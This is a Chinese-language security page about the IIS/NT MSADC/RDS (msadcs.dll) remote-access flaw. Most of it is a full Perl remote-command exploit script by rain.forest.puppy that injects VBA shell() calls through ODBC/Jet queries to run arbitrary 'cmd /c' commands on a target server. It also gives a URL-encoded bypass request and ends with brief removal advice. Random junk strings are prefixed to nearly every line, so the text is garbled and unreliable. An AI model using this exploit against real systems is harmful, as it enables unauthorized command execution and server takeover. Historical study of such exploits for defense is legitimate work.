IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Gg Jf7ie4 ':{>a28= 涉及程序：
a.N{-2ptH Microsoft NT server
FMA6_fju4 zk-.u}RBFG 描述：
w| `h[/, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
js i Sg/ %yB B?cp+_ 详细：
U_x )#,4 如果你没有时间读详细内容的话，就删除:
>zAUW[]C:I c:\Program Files\Common Files\System\Msadc\msadcs.dll
@,Gxk
有关的安全问题就没有了。
ktIi$v *g?Po+ef% 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7X@mSXis ~t9tnLc$ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
n3A aZp[ 关于利用ODBC远程漏洞的描述，请参看:
(aOv#Vor]% {9U Eq0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ry9T U >B]'fUt5a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
x
}Ad_#q http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'AN>`\m R$ hn#1%p6t 这里不再论述。
q`-;AG|xF (x/k.& 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
X 1
57$ okbQ<{9 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
DC{>TC[p1k 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,) J~ ,^f6 9 IX/wm" 93Co}@Y;Y+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
3EJt%}V$k :VTTh
|E%# #!perl
ns6(cJ^a #
xJ#d1[kzo # MSADC/RDS 'usage' (aka exploit) script
;4Y%PV z~D #
D$t k<{)oB # by rain.forest.puppy
:PO j6j/ #
`Bl I@6th # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x) ( |[ # beta test and find errors!
ep)>X@t bv&; R use Socket; use Getopt::Std;
n2 iJ%_zp getopts("e:vd:h:XR", \%args);
ty8v
6J# ")d`dj\o print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
d_IAs &mb{.= if (!defined $args{h} && !defined $args{R}) {
Y "/]|'p print qq~
,7<f9 EVY Usage: msadc.pl -h <host> { -d <delay> -X -v }
"'D=,* -h <host> = host you want to scan (ip or domain)
+HBd
%1 -d <seconds> = delay between calls, default 1 second
8F'x= lIO -X = dump Index Server path table, if available
s&RVJX>Rt -v = verbose
6Vz9?puD -e = external dictionary file for step 5
\[y`'OD~ 17`1SGZ Or a -R will resume a command session
~ ]QHk?[wc /5u<78GW1 ~; exit;}
4O35 "1 =3L;Z[^ 9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
x QIq^/F0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@)fd}tV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ouuuc9x] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
J:Qa5MTWp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,^C--tgZJg if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
k |eBJ% 2AMo:Jqv if (!defined $args{R}){ $ret = &has_msadc;
u: =7l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g*_cP U0~m VIv&ofyAR print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<ZNzVnVA . "cmd /c ";
RS8Hf ~0G $in=<STDIN>; chomp $in;
\SB c; $command="cmd /c " . $in ;
>k (C N<XNTf if (defined $args{R}) {&load; exit;}
E"5*Ei)^3 U
H*r5o3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
d~i+
I 5 &try_btcustmr;
NfjE`
K~R`%r_ print "\nStep 2: Trying to make our own DSN...";
>Z'NXha &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/ G7vwC B!?%O print "\nStep 3: Trying known DSNs...";
c9&xe"v &known_dsn;
* -8&[D0 Sy0$z3 9 print "\nStep 4: Trying known .mdbs...";
9po3m]|zy &known_mdb;
. QBF`Rz UWd=!h^dt if (defined $args{e}){
ui/a|Q print "\nStep 5: Trying dictionary of DSN names...";
LGw$v[wb &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bcE._9@@ 7 t0e r'VC print "Sorry Charley...maybe next time?\n";
Pu" P9 exit;
1pgU}sRk QC}CRkp ##############################################################################
'Wm x)0) |R/%D%_g sub sendraw { # ripped and modded from whisker
%`1q-,>v sleep($delay); # it's a DoS on the server! At least on mine...
#Up86(Z my ($pstr)=@_;
62ws/8d6f socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Yp^rR }N die("Socket problems\n");
+[\FD; > if(connect(S,pack "SnA4x8",2,80,$target)){
a6) BqlJ select(S); $|=1;
6[ j .@[t print $pstr; my @in=<S>;
~E2KZm select(STDOUT); close(S);
lww!-(<ww return @in;
Ng~FEl } else { die("Can't connect...\n"); }}
7%x[q} ',JinE95 ##############################################################################
Ws|j#X< 2{H@(Vgpbr sub make_header { # make the HTTP request
Dv5D~on{ my $msadc=<<EOT
i#v YyVr[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
gc-@"wI? User-Agent: ACTIVEDATA
G}b]w~ML ~ Host: $ip
#Y
a4ps_ Content-Length: $clen
YUtC.TR1 Connection: Keep-Alive
RC7]'4o 4NheWM6 ADCClientVersion:01.06
svcK?^
HTe Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5YeM%%-S I
8`VNA&b --!ADM!ROX!YOUR!WORLD!
3z {?_;bR Content-Type: application/x-varg
1W^t aJH] Content-Length: $reqlen
i@"@9n~ M_/7D|xl/T EOT
q_A!'sm@) ; $msadc=~s/\n/\r\n/g;
Vt :~q{9*k return $msadc;}
iT gt}]L MOQ*]fV: ##############################################################################
d928~y
W \ `~Ly- sub make_req { # make the RDS request
} v}P
.P my ($switch, $p1, $p2)=@_;
R ;&AijS8 my $req=""; my $t1, $t2, $query, $dsn;
rWa2pO !Qu"BF if ($switch==1){ # this is the btcustmr.mdb query
&=] ~0$ $query="Select * from Customers where City=" . make_shell();
N8F~8lTi $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
IP xiV]c $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r*2+xDoEi 3no%E03p elsif ($switch==2){ # this is general make table query
D#cyOrzy $query="create table AZZ (B int, C varchar(10))";
RzE_K' M $dsn="$p1";}
saBVgS d ]%@M>?Ywc elsif ($switch==3){ # this is general exploit table query
4i)1'{e $query="select * from AZZ where C=" . make_shell();
%[Wh [zZy $dsn="$p1";}
\XCe22x] EE&K0<?T|: elsif ($switch==4){ # attempt to hork file info from index server
Gf oLa e $query="select path from scope()";
[8 ]z|bM $dsn="Provider=MSIDXS;";}
@\0ez<.p} bnf'4P At elsif ($switch==5){ # bad query
/?5 1D@ $query="select";
+Vb.l H[av $dsn="$p1";}
LDgrR[ naG=Pq < $t1= make_unicode($query);
?+@n3]`0 $t2= make_unicode($dsn);
Lb:g4A" $req = "\x02\x00\x03\x00";
qe V fE_< $req.= "\x08\x00" . pack ("S1", length($t1));
@ym v< Mo $req.= "\x00\x00" . $t1 ;
QwW&\h[8? $req.= "\x08\x00" . pack ("S1", length($t2));
>JHryS.j$4 $req.= "\x00\x00" . $t2 ;
j4gF;-m< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
N.,X<G.H return $req;}
`i3NG1
v0 q9KHmhUD ##############################################################################
fInb[ 0L2 F[TN sub make_shell { # this makes the shell() statement
DR5\45v return "'|shell(\"$command\")|'";}
36}?dRw#p o4G ?nvK- ##############################################################################
CGW. I$u T*Y~\~Jhu sub make_unicode { # quick little function to convert to unicode
[kVS
O my ($in)=@_; my $out;
a!6{:8Zi0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
deBY5| return $out;}
wN_Vfb MU@UfB|;u ##############################################################################
44ek
IV+? W9 GxXPA sub rdo_success { # checks for RDO return success (this is kludge)
!Q2d(H>
my (@in) = @_; my $base=content_start(@in);
XRM_x:+] if($in[$base]=~/multipart\/mixed/){
$v4.sl:x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JFcLv=U return 0;}
q6McG H T &N2N6&Ta/ ##############################################################################
;#g"( U6glp@s sub make_dsn { # this makes a DSN for us
kyR:[+je my @drives=("c","d","e","f");
uw>Ba %5 print "\nMaking DSN: ";
g1/:Q%R,
foreach $drive (@drives) {
l%k\JY- print "$drive: ";
7OcW C-< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
q<xCb%#Jl "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=)0,#9k U] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}NHaCG[, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5;tD"/nz return 0 if $2 eq "404"; # not found/doesn't exist
s 1 A.+ if($2 eq "200") {
pA'4|ffwe foreach $line (@results) {
zqim R#u return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
cvn@/qBq*t } return 0;}
"%`1 ]Fr dU&a{ $ku[ ##############################################################################
<Th 6r.#? yZ0-w I sub verify_exists {
g!g#]9j my ($page)=@_;
py$Q my @results=sendraw("GET $page HTTP/1.0\n\n");
z` .<U{5 return $results[0];}
Sj%u)#Ub >{q]&}^U ##############################################################################
'F+C4QAq [<lHCQXJ/ sub try_btcustmr {
5V?& 8GTe my @drives=("c","d","e","f");
{% rA1g my @dirs=("winnt","winnt35","winnt351","win","windows");
;v}GJ<3 j$M h + 5 foreach $dir (@dirs) {
q }i]'7 print "$dir -> "; # fun status so you can see progress
F|S Xn\ foreach $drive (@drives) {
dPW#C5dm print "$drive: "; # ditto
G)EU_UE 9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8 zZvht* $reqlenlen=length( "$reqlen" );
3@etRd;]Kr $clen= 206 + $reqlenlen + $reqlen;
\\iQEy<i "3X2VFwoJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
VACQ+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&|s0P else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
R6` WN iOd&B B6 ##############################################################################
<wk!hTm W qmkAg }2 sub odbc_error {
HZ aV7dOZ8 my (@in)=@_; my $base;
1 T"`v tR my $base = content_start(@in);
F |'>NL-= if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&p'Y ^zL - $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hr #M-K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{ BP{C=p $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"M< 8UE \n return $in[$base+4].$in[$base+5].$in[$base+6];}
%6|nb:Oa print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
5Mro Nr print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
H9'$C/w $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
& W| [r( I,E?h? 6Y ##############################################################################
& fDIQISC 1h^:[[!c sub verbose {
m]'#t)B_m my ($in)=@_;
y*4=c _Z return if !$verbose;
:vmH ]{R print STDOUT "\n$in\n";}
GSoX<* i RVZ")Z( ##############################################################################
$h+1u$po .T}Wdn g sub save {
QVv#fy1"6 my ($p1, $p2, $p3, $p4)=@_;
Q 1U\D open(OUT, ">rds.save") || print "Problem saving parameters...\n";
h=W:^@G print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%:M ^4~dc close OUT;}
${<%" hR$ W =D4r ##############################################################################
6|gCuT4 rlML W sub load {
j
b!x: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mUNn%E:7@{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q_MPju&* @p=<IN>; close(IN);
[ 8Y:65 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_'#n6^Us< $target= inet_aton($ip) || die("inet_aton problems");
ayn) 5q/z print "Resuming to $ip ...";
&agWaf1%a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`
)/vq-9 if($p[1]==1) {
pd:WEI
, $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ts ,ZvY] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
V><,UI=,n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
RFi
S@.7 if (rdo_success(@results)){print "Success!\n";}
4)S,3G else { print "failed\n"; verbose(odbc_error(@results));}}
.UQzPnK elsif ($p[1]==3){
8+~
>E if(run_query("$p[3]")){
E@z<:pG{ print "Success!\n";} else { print "failed\n"; }}
h\$$JeSV] elsif ($p[1]==4){
?j'7l=94A if(run_query($drvst . "$p[3]")){
kDEX N print "Success!\n"; } else { print "failed\n"; }}
x,'(5* exit;}
&u]8IEv}u
Y[ j6u\y ##############################################################################
6O7'!@@ w x]0p sub create_table {
h&M {]E9= my ($in)=@_;
h}> "j%I $reqlen=length( make_req(2,$in,"") ) - 28;
Z&G+bdA>, $reqlenlen=length( "$reqlen" );
|h KDv H $clen= 206 + $reqlenlen + $reqlen;
034iK[ib" my @results=sendraw(make_header() . make_req(2,$in,""));
|T< _ 5Ik return 1 if rdo_success(@results);
c/:b.>W my $temp= odbc_error(@results); verbose($temp);
K='z G*$l return 1 if $temp=~/Table 'AZZ' already exists/;
/74QMx? return 0;}
;nI] !g: F3y9@dA] ##############################################################################
/,BD#| zUt' QH7E. sub known_dsn {
EB0TTJR?# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]RZ|u*l= x my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_F4Ii-6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Wjo[ENHM "banner", "banners", "ads", "ADCDemo", "ADCTest");
vt/x
,Y cb@?}(aFl foreach $dSn (@dsns) {
](Xb _xMf print ".";
%@<8 <6&q next if (!is_access("DSN=$dSn"));
fnpYT:%fG
if(create_table("DSN=$dSn")){
EH- sZAv print "$dSn successful\n";
`jDTzhO~ if(run_query("DSN=$dSn")){
5^}\4.eXo print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%p Ynnfr print "Something's borked. Use verbose next time\n";}}} print "\n";}
S U MrFd~ o5u3Fjz3 ##############################################################################
|-b#9JQ[A 4`lLf sub is_access {
[xbSYu,& my ($in)=@_;
`:ArT }F $reqlen=length( make_req(5,$in,"") ) - 28;
$r^ GE $reqlenlen=length( "$reqlen" );
O n8v//=& $clen= 206 + $reqlenlen + $reqlen;
48J@C vU my @results=sendraw(make_header() . make_req(5,$in,""));
>>QY'1Eu my $temp= odbc_error(@results);
T tfo^ksw verbose($temp); return 1 if ($temp=~/Microsoft Access/);
eJrQ\>z]V& return 0;}
v>6 "j1Z ~Sdb _EZ ##############################################################################
<3oWEm I~[F|d> sub run_query {
el&0}`K my ($in)=@_;
{IjF+@I $reqlen=length( make_req(3,$in,"") ) - 28;
vRznw&^E $reqlenlen=length( "$reqlen" );
q?H|o( $clen= 206 + $reqlenlen + $reqlen;
Ve8=b0&Y#j my @results=sendraw(make_header() . make_req(3,$in,""));
2 pZ XZ return 1 if rdo_success(@results);
R
&n Pj ~ my $temp= odbc_error(@results); verbose($temp);
DKH-Q(M56 return 0;}
n#cC+>*>+ % 7QV&[4! ##############################################################################
}cM}Oav h V~ UN sub known_mdb {
*o]L|Vu my @drives=("c","d","e","f","g");
> ; jZa my @dirs=("winnt","winnt35","winnt351","win","windows");
a`wc\T^ my $dir, $drive, $mdb;
FW;m\vu my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
, |0}<% .14~ J6 # this is sparse, because I don't know of many
4%{,]
q\p my @sysmdbs=( "\\catroot\\icatalog.mdb",
zp6C3RG( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
a f6M,{F "\\system32\\certmdb.mdb",
|e=,oV" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
oF vfCrd ]q\b,)4
e my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
<c*FCblv "\\cfusion\\cfapps\\forums\\forums_.mdb",
4aug{}h(" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[Hx0`Nc K "\\cfusion\\cfapps\\security\\realm_.mdb",
t Cw<Ip "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bAdn & "\\cfusion\\database\\cfexamples.mdb",
K>
%Tq "\\cfusion\\database\\cfsnippets.mdb",
adlV!k7RG "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
# ' =a=8-$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@MoK Wfc "\\cfusion\\brighttiger\\database\\cleam.mdb",
PG2: ~$ L0 "\\cfusion\\database\\smpolicy.mdb",
)"qa k T "\\cfusion\\database\cypress.mdb",
[.K1i ZyTi "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y h7rU?Gj "\\website\\cgi-win\\dbsample.mdb",
a a<8 ,; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V[mT<Lc "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2v :]tj ); #these are just
P i=+/} foreach $drive (@drives) {
;$HftG>B foreach $dir (@dirs){
. 28<tEf foreach $mdb (@sysmdbs) {
YP
6` L print ".";
-<6\1J if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
} j <)L, print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6d:zb;Iz if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9q)Kfz print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
N>Xo_-QCY } else { print "Something's borked. Use verbose next time\n"; }}}}}
\TIT:1 ]{!U@b foreach $drive (@drives) {
eFipIn)b foreach $mdb (@mdbs) {
bT</3>+C print ".";
/J ta^Bj if(create_table($drv . $drive . $dir . $mdb)){
Y&`=jDI print "\n" . $drive . $dir . $mdb . " successful\n";
W'els)WJ|x if(run_query($drv . $drive . $dir . $mdb)){
hC:n5]K print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eJ,/:=QQ{ } else { print "Something's borked. Use verbose next time\n"; }}}}
(XVw"m/ye }
M\vwI" Mv uQz7M#d ##############################################################################
% BVs47g ysJQb~2q sub hork_idx {
>u >5{4 print "\nAttempting to dump Index Server tables...\n";
)S3\,S-. print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"Hya6k>j $reqlen=length( make_req(4,"","") ) - 28;
>/{@C $reqlenlen=length( "$reqlen" );
9K.Vb1& $clen= 206 + $reqlenlen + $reqlen;
1Vsz4P"O $ my @results=sendraw2(make_header() . make_req(4,"",""));
A_V] yP if (rdo_success(@results)){
]E7F /O/. my $max=@results; my $c; my %d;
3^IpE];+:u for($c=19; $c<$max; $c++){
Gq+z /Be $results[$c]=~s/\x00//g;
f W!a|?e$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!]4 2^?GH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2iHUZzz\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!NIhx109q $d{"$1$2"}="";}
@X%C>iYa9 foreach $c (keys %d){ print "$c\n"; }
]Gzm^6v } else {print "Index server doesn't seem to be installed.\n"; }}
D!@Ciw < qtr ##############################################################################
5c9 ^-|-T '>NCMB{* sub dsn_dict {
7jxslI&F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?:pP8/y while(<IN>){
~Uj=^leYO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;m0~L=w next if (!is_access("DSN=$dSn"));
:Hn6b$Vy8 if(create_table("DSN=$dSn")){
:uP,f<=)K print "$dSn successful\n";
kh!FR u h if(run_query("DSN=$dSn")){
vhe>)h*B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7z/|\D_{ print "Something's borked. Use verbose next time\n";}}}
w+C7BPV& print "\n"; close(IN);}
t\?ik6 mGtdO/C#B ##############################################################################
FFl!\y*0z cIUH a sub sendraw2 { # ripped and modded from whisker
\}+_Fo/ sleep($delay); # it's a DoS on the server! At least on mine...
EtJHR my ($pstr)=@_;
Ua<5U5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@V(*65b2 die("Socket problems\n");
B+Rm>^CBm if(connect(S,pack "SnA4x8",2,80,$target)){
^tqzq0 print "Connected. Getting data";
@u.58H& }R open(OUT,">raw.out"); my @in;
WeJl4wF select(S); $|=1; print $pstr;
`
w=>I while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c T<1V!L4 close(OUT); select(STDOUT); close(S); return @in;
hM@
H A } else { die("Can't connect...\n"); }}
|pm7 _[ pyH:#5 ##############################################################################
O&vVv _zh ?*2CpM&l
sub content_start { # this will take in the server headers
&?W0mW( my (@in)=@_; my $c;
2I%MAb&1@ for ($c=1;$c<500;$c++) {
%;cddLQ\xY if($in[$c] =~/^\x0d\x0a/){
%.vQU @2A if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
.nB0 h else { return $c+1; }}}
ht7l- AK return -1;} # it should never get here actually
00'%EYO :X0k]p ##############################################################################
7[w,:9& } wi;Br[d sub funky {
6{x(.= my (@in)=@_; my $error=odbc_error(@in);
,kF1T, if($error=~/ADO could not find the specified provider/){
C.~,qmOP print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F{Z~ R
exit;}
}e !x5g if($error=~/A Handler is required/){
N+++4; print "\nServer has custom handler filters (they most likely are patched)\n";
! _f9NK exit;}
YT8vP~ if($error=~/specified Handler has denied Access/){
8hXl%{6d3 print "\nServer has custom handler filters (they most likely are patched)\n";
RzxNbeki[W exit;}}
;P;-}u 7/!8e.M\ ##############################################################################
$Oq^jUJ 3) 8Q S
sub has_msadc {
34z"Pm my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6tX q: my $base=content_start(@results);
Ci?Ss+| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
t|a2;aq_ return 0;}
8 u"!dq e7@ ojOQ% ########################
0vFD3}~> FQm`~rA~zt ZU85P0 解决方案：
V}bjK8$$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4y)P>c 2、移除web 目录: /msadc
